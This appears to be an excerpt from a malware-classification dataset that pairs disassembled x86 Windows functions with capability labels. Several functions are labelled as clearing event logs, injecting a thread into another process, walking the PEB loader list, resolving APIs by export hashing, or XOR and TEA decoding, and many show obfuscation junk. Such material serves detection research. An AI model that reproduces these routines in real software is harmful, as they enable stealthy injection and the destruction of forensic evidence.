joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404394
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42b350]
mov edx, dword [esi]
mov ecx, dword [esi + 4]
and dword [ebp - 4], 0
mov dword [ebp - 0x24], eax
mov eax, dword [0x42b354]
push ebx
mov dword [ebp - 0x20], eax
push edi
lea eax, [ebp - 4]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x28], 0x9e3779b9
call fcn.0040438d
mov eax, dword [0x42b358]
add dword [ebp - 4], 0x23f
mov edi, dword [0x42b35c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x281bb74]
cmp eax, 0xfa9
jne 0x40440f
mov dword [0x281bb70], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40441d
and dword [0x281b5fc], 0
mov ebx, dword [ebp - 4]
add ebx, edx
mov eax, dword [ebp - 0x10]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
add eax, edi
xor eax, ebx
xor eax, dword [ebp - 0x1c]
mov dword [0x281bb6c], 0xf4ea3dee
sub ecx, eax
mov eax, dword [ebp - 4]
add eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, ecx
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 8], eax
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x24]
xor eax, dword [ebp - 8]
xor eax, dword [ebp - 0x1c]
sub edx, eax
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x28]
sub dword [ebp - 4], eax
dec dword [ebp - 0x14]
jne 0x4043e3
pop edi
mov dword [esi], edx
mov dword [esi + 4], ecx
pop ebx
leave
ret

Function at 0x404482
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.004120c0
mov eax, dword [0x281bb74]
mov ecx, dword [0x281b600]
push edi
shr eax, 3
xor edi, edi
cmp eax, edi
jbe 0x404557
push ebx
push esi
mov esi, ecx
mov ebx, eax
cmp dword [0x281bb74], 0x959
jne 0x404546
push edi
lea eax, [ebp - 0x800]
push eax
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push edi
push edi
lea eax, [ebp - 0x1000]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 0x403ed0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0x403f1c
push edi
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0x403f48
push edi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push edi
lea eax, [ebp - 0x400]
push eax
push edi
push 0x403f64
push edi
push edi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.00404394
add esi, 8
dec ebx
jne 0x4044ae
pop esi
pop ebx
pop edi
leave
ret
Function at 0x404851
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x404
push ebx
push esi
xor esi, esi
cmp dword [0x281bb74], 0x400
push edi
jne 0x404933
push esi
call dword [sym.imp.USER32.dll_WindowFromDC]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0x40418c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
push esi
call fcn.00405790
push esi
push esi
call fcn.004050b9
push esi
call fcn.00405715
add esp, 0x14
push esi
call fcn.00405a2a
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.00404bf0
add esp, 8
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404d70
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00405200
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404ea0
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00405460
fstp st(0)
push esi
call fcn.00405a9e
add esp, 0xc
push esi
push esi
call fcn.00404fbd
push esi
call fcn.0040583d
add esp, 0xc
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
xor edi, edi
cmp edi, 0xacd
jge 0x404959
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
push esi
push esi
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp edi, 0x45be410
jg 0x40497b
inc edi
cmp edi, 0x33309e9
jl 0x40493b
xor edi, edi
cmp edi, 0x16d2a
jge 0x40498c
push esi
push esi
push esi
push esi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x12e82fe
jg 0x4049aa
inc edi
cmp edi, 0x3011b
jl 0x40497d
mov eax, dword [0x42dc94]
mov dword [0x281bb74], eax
call fcn.0040455a
mov edi, 0x2ec37
cmp dword [0x281bb74], 0x51f
jne 0x4049d6
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
dec edi
jne 0x4049be
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x407cdc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42a7dc]
jne 0x407ce6
repz ret
jmp fcn.0040cecc
Function at 0x4111ca
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a7dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004066ea
and dword [ebp - 0x14], 0
cmp dword [0x438b64], 0
mov dword [ebp - 0x18], eax
jne 0x41127d
push 0x403e80
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x411325
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403e74
push ebx
call edi
test eax, eax
je 0x411325
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403e64
push ebx
mov dword [0x438b64], eax
call edi
push eax
call esi
push 0x403e50
push ebx
mov dword [0x438b68], eax
call edi
push eax
call esi
push 0x403e34
push ebx
mov dword [0x438b6c], eax
call edi
push eax
call esi
mov dword [0x438b74], eax
test eax, eax
je 0x41127d
push 0x403e1c
push ebx
call edi
push eax
call esi
mov dword [0x438b70], eax
mov eax, dword [0x438b70]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4112d6
cmp dword [0x438b74], ecx
je 0x4112d6
push eax
call esi
push dword [0x438b74]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4112d6
test ebx, ebx
je 0x4112d6
call edi
test eax, eax
je 0x4112cd
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4112cd
test byte [ebp - 8], 1
jne 0x4112d6
or dword [ebp + 0x10], 0x200000
jmp 0x411309
mov eax, dword [0x438b68]
cmp eax, dword [ebp - 0x18]
je 0x411309
push eax
call esi
test eax, eax
je 0x411309
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411309
mov eax, dword [0x438b6c]
cmp eax, dword [ebp - 0x18]
je 0x411309
push eax
call esi
test eax, eax
je 0x411309
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x438b64]
call esi
test eax, eax
je 0x411325
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x411327
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407cdc
leave
ret
Function at 0x3fe1384b
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push 0xa0
xor esi, esi
lea eax, [ebp - 0xac]
push esi
push eax
xor ebx, ebx
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
mov dword [ebp - 0xac], eax
mov eax, 0x1000
mov word [ebp - 0x14], ax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x80], eax
add esp, 0xc
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0x7c], 0xc
call sub.KERNEL32.dll_GetNextVDMCommand
test eax, eax
je 0x3fe138de
push edi
push dword [ebp - 0xc]
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, esi
je 0x3fe138dd
lea eax, [ebp + 8]
push eax
movzx eax, word [ebp + 0xc]
push esi
push eax
push dword [ebp - 4]
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x3fe138da
push eax
inc ebx
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8

Function at 0x3fe182da
Capabilities:
Encode data using xor

Disassembly:
call 0x3fe18253
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x3fe18283
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x3fe1829f
xor edx, 0
jmp 0x3fe182aa
xor edx, edx
jmp 0x3fe182c1
jmp 0x3fe182cd
xor eax, eax
push 0x8427d7c0
call 0x3fe182da
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x3fe18316
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x3fe182ef
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x3fe1832d
add eax, 0
jno 0x3fe18332
add esi, 0
ret 0x10
Function at 0x3fe1909b
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x3fe190bd
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x3fe1925f
cmp edi, dword [ebp + 0x10]
jb 0x3fe1925f
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.3fe18b87
inc edi
jmp 0x3fe19146
jmp 0x3fe19153
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.3fe18b87
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.3fe18b87
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x3fe191a7
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x3fe1918b
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.3fe191d5
add dword [eax], 0x39
jle 0x3fe191b1
sub al, 0xf5
mov ch, al
call fcn.3fe191ea
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x3fe1aec2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x3fe1aed8
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x3fe1aee9
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.3fe1af2a
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x3fe1d296
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x3fe1d1df
add ebx, 0
push ecx
call 0x3fe1d1f4
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x1005a2de
sub ebx, dword [0x10079b1d]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x10079b0d
call fcn.3fe18cbe
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.3fe181cc
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x3fe1d352
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x3fe1d352
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x3fe1d309
mov eax, 1
lock xchg dword [0x10079b19], eax
push 0x3dd1fc71
call 0x3fe1d296
push esi
add esp, 8
cmp eax, 0
jne 0x3fe1d27f
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x3fe1d2a5
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x3fe1d2ba
cmp ecx, edx
cmp eax, 0
je 0x3fe1d2df
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x3fe1d2c9
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.3fe1d2f8
dec eax
loope 0x3fe1d2fb
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x10079b19], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x3fe1d32f
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x3fe1d344
jmp 0x3fe1d34f
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x3fe1d23d
Function at 0x3fe243b7
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x3fe2468d
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x10066791
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x1005d757
push 0xffffffffffffffff
call fcn.3fe1b5b7
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x3fe24421
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.3fe24439
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x3fe24681
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x3fe24655
Function at 0x3fe33e87
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x3fe33ea9
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x3fe33ea9
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x3fe33ea9
ret
cmp word [ebx + 4], 0x14c
jne 0x3fe33ea9
test word [ebx + 0x16], 2
je 0x3fe33ea9
test word [ebx + 0x16], 0x100
je 0x3fe33ea9
cmp word [ebx + 0x18], 0x10b
jne 0x3fe33ea9
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x3fe33ea9
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x3fe33f35
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x3fe33ec9
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.3fe1ae14
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x3fe33ea9
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x3fe33f35
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x3fe33ea9
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x3fe33ea9
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x3fe33ea9
ret
cmp word [ebx + 4], 0x14c
jne 0x3fe33ea9
test word [ebx + 0x16], 2
je 0x3fe33ea9
test word [ebx + 0x16], 0x100
je 0x3fe33ea9
cmp word [ebx + 0x18], 0x10b
jne 0x3fe33ea9
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x3fe33ea9
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x3fe33f35
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x3fe33ec9
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.3fe1ae14
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x3fe33ea9
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x3fe33fec
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x3fe34045
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x3fe33fec
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x3fe33ffb
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x40239c9e
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x3fe3404c
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.3fe1aec2
cmp eax, dword [ebp + 0xc]
pop eax
je 0x3fe340eb
add edi, 4
add eax, 2
dec ecx
jne 0x3fe34031
call 0x3fe34098
loope 0x3fe3408e
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x3fe340e8
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x3fe340f9
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x3fe340ac
cmp eax, ecx
ja 0x3fe340ac
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x3fe34136
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x3fe3412c
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.3fe1b3a1
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x3fe33ffb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x3fe34045
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x3fe33fec
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x3fe33ffb
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x40239c9e
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x3fe3404c
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.3fe1aec2
cmp eax, dword [ebp + 0xc]
pop eax
je 0x3fe340eb
add edi, 4
add eax, 2
dec ecx
jne 0x3fe34031
call 0x3fe34098
loope 0x3fe3408e
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x3fe340e8
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x3fe340f9
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x3fe340ac
cmp eax, ecx
ja 0x3fe340ac
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x3fe34136
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x3fe3412c
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.3fe1b3a1
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x402000
Capabilities:
Create process on windows
Terminate process

Disassembly:
push 5
push 0
push str.LabApps
push str.nw.exe
push 0
push 0
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
push eax
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x43ba3c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4463f8
push 0x43ba36
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x450788], 0xffffffff
or dword [0x45078c], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x44e770]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x44e76c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x450784], eax
call fcn.00587000
cmp dword [0x44e450], 0
jne 0x43babf
push 0x43bb7c
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0043bb6a
push 0x44e034
push 0x44e030
call sub.MSVCRT.dll__initterm
mov eax, dword [0x44e768]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x44e764]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x44e02c
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00438c5e
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret